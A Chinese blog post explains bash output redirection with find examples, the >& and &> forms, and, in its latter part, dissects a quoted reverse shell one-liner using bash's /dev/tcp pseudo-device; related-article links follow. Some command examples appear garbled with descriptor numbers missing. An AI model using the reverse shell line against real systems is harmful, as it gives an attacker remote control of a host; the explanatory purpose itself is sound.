linux bash的重定向
cnblogs原创
下面几种bash重定向各表示什么意思?
find / -name passwd > /dev/null
find / -name passwd > /dev/null >&
find / -name passwd > /dev/null
find / -name passwd &> /dev/null
find / -name passwd >& /dev/null
上面有5种重定向,分别表示:
1. 将find结果重定向到 /dev/null,这个find结果指的是标准输出,不含标准错误,比如以非root用户身份运行这个命令时,可能会遇到这样问题,如下:

其中有的是查找到了,有的报错,对应正常查找到的是标准输出,而报错则是标准错误。标准输出与标准错误都是向屏幕输出,区别是有无缓冲,标准错误是不带缓冲的。
这个最终结果是仅输出find错误结果。
2. 将find结果(标准输出)重定向到 /dev/null,同时将标准错误重定向到标准输出。在Linux中,内核默认为每个进程打开3个描述符(标准错误2、标准输出1、标准输入0)。
这个最终结果是什么都不输出。
3. 将find结果(标准错误)重定向到 /dev/null,不含标准输出。
这个最终结果是只输出正常结果,不输出错误结果。
4/5. 这两个是相同的,只是不同写法,>&和&>完全相同,它们对位置先后无要求。将find结果(标准输出)重定向到 /dev/null,同时将标准错误重定向到标准输出。>&或者&>等同于> /dev/null 2>&1。为什么会有这种写法?大概原因是bash对csh进行兼容导致的,因为csh的标准输出和标准错误重定向是这种写法。
其实这些在bash manual手册中都是有说明的:

另外,网上有给出一个反弹shell,如下:
bash -i >& /dev/tcp/10.0.0.1/ >&
重定向语法上面已经解释清楚,这里无非是多了个标准输入的重定向。
使用ls命令发现/dev下面并没有这个tcp目录或者文件,这里的/dev/tcp/10.0.0.1/8000又是什么?同样在bash的manual中有说明,如下:

从手册中可以看到/dev/tcp/10.0.0.1/8000是bash重定向时,一些特殊的文件而已,ls自然看不到的。
PS: 准备在闲暇之余用C++写个反弹shell练手的,遂有了这篇文章。但写完这篇文章之后,发现网上已经有人写过类似的( https://www.anquanke.com/post/id/85712 ),不过没有解释/dev/tcp/host/port是怎么回事,文章就不删了,留作补充说明吧。
linux bash的重定向的更多相关文章
- Linux Bash命令关于程序调试详解
转载:http://os.51cto.com/art/201006/207230.htm 参考:<Linux shell 脚本攻略>Page22-23 Linux bash程序在程序员的使 ...
- Linux I/O 重定向详解及应用实例
Linux I/O 重定向详解及应用实例 简解 > 输出 < 输入 >> 追加 & [> | < | >>]之前:输入输出; ls /dev & ...
- Linux Bash脚本编程语言中的美学与哲学
我承认,我再一次地当了标题党.但是不可否认,这一定是一篇精华随笔.在这一篇中,我将探讨Bash脚本语言中的美学与哲学. 这不是一篇Bash脚本编程的教程,但是却能让人更加深入地了解Bash脚本编程,更 ...
- (转)linux exec与重定向
原文:http://xstarcd.github.io/wiki/shell/exec_redirect.html linux exec与重定向 exec和source都属于bash内部命令(buil ...
- [转帖]linux bash环境变量简单总结
linux bash环境变量简单总结 来源链接:http://www.178linux.com/8005 原创文章,如有转载,请注明原文地址 需要简单学习一下. 其实 我都是直接放一个 .sh文件到 ...
- Linux Bash命令杂记(cut sort uniq wc tee)
Linux Bash命令杂记(cut sort uniq wc tee) 数据流重定向 标准输入(stdin):代码为0,使用<或<<: 标准输出(stdout):代码为1,使用&g ...
- 转: windows 10使用原生linux bash命令行
转: https://www.zybuluo.com/pandait/note/337430 windows 10使用原生linux bash命令行 linux bash windows-10 第一时 ...
- Linux Bash代码 利用for循环实现命令的多次执行
Linux Bash代码 [yuanhao15@lu01 libsvm-rank-2.81]$ for ((i=0; i<=19; i++)) do ./svm-train -s 5 -c 10 ...
- linux BASH shell设置字体与背景颜色
linux BASH shell下设置字体及背景颜色的方法. BASH shell下设置字体及背景颜色 echo -e "\e[31mtest\e[41m" \e[30m 将字 ...
随机推荐
- BZOJ4998星球联盟——LCT+并查集(LCT动态维护边双连通分量)
题目描述 在遥远的S星系中一共有N个星球,编号为1…N.其中的一些星球决定组成联盟,以方便相互间的交流.但是,组成 联盟的首要条件就是交通条件.初始时,在这N个星球间有M条太空隧道.每条太空隧道连接两 ...
- Leetcode 268.缺失数字 By Python
给定一个包含 0, 1, 2, ..., n 中 n 个数的序列,找出 0 .. n 中没有出现在序列中的那个数. 示例 1: 输入: [3,0,1] 输出: 2 示例 2: 输入: [9,6,4,2 ...
- 【BZOJ2281】[SDOI2011]黑白棋(博弈论,动态规划)
[BZOJ2281][SDOI2011]黑白棋(博弈论,动态规划) 题面 BZOJ 洛谷 题解 先看懂这题目在干什么. 首先BZOJ上面的题面没有图,换到洛谷看题就有图了. 不难发现都相邻的两个异色棋 ...
- BZOJ 193题纪念
- c c++ 混合编译
单个源文件生成可执行程序 下面是一个保存在文件 helloworld.cpp 中一个简单的 C++ 程序的代码: 1 2 3 4 5 6 7 8 9 /* helloworld.cpp */ # ...
- 【POJ1741】Tree
题目大意:给定一棵 N 个节点的无根树,边有边权,统计树上边权和不大于 K 的路径数. 对于每条树上路径,对于每一个点来说,该路径只有经过该点和不经过该点两种情况,对于不经过该点的情况,可以转化成是否 ...
- 平台加载面板的方法$.loadPml
$.loadPml({ paneId:"", paneName:"", loadUrl:"/"+globalURL+"/mvcco ...
- Linux网络基本网络配置
Linux网络基本网络配置方法介绍 网络信息查看 设置网络地址: cat /etc/sysconfig/network-scripts/ifcfg-eth0 你将会看到: DEVICE=eth0 BO ...
- Solr各个版本重大变化之安装方式【请别违背规律】
这里主要讲安装方式的变化 4.x~5.x的变化 这是4.x的安装方式,大家都熟知,在我看来未免繁琐了一点. 或许官方也感觉繁琐了,于是5.x有个最大的改变.↓ 现在Solr是一个独立的服务器 什么叫S ...
- aop 初探
1.首先是配置文件: 上图是让aop配置正确,不报红: 完整代码: <?xml version="1.0" encoding="UTF-8"?> & ...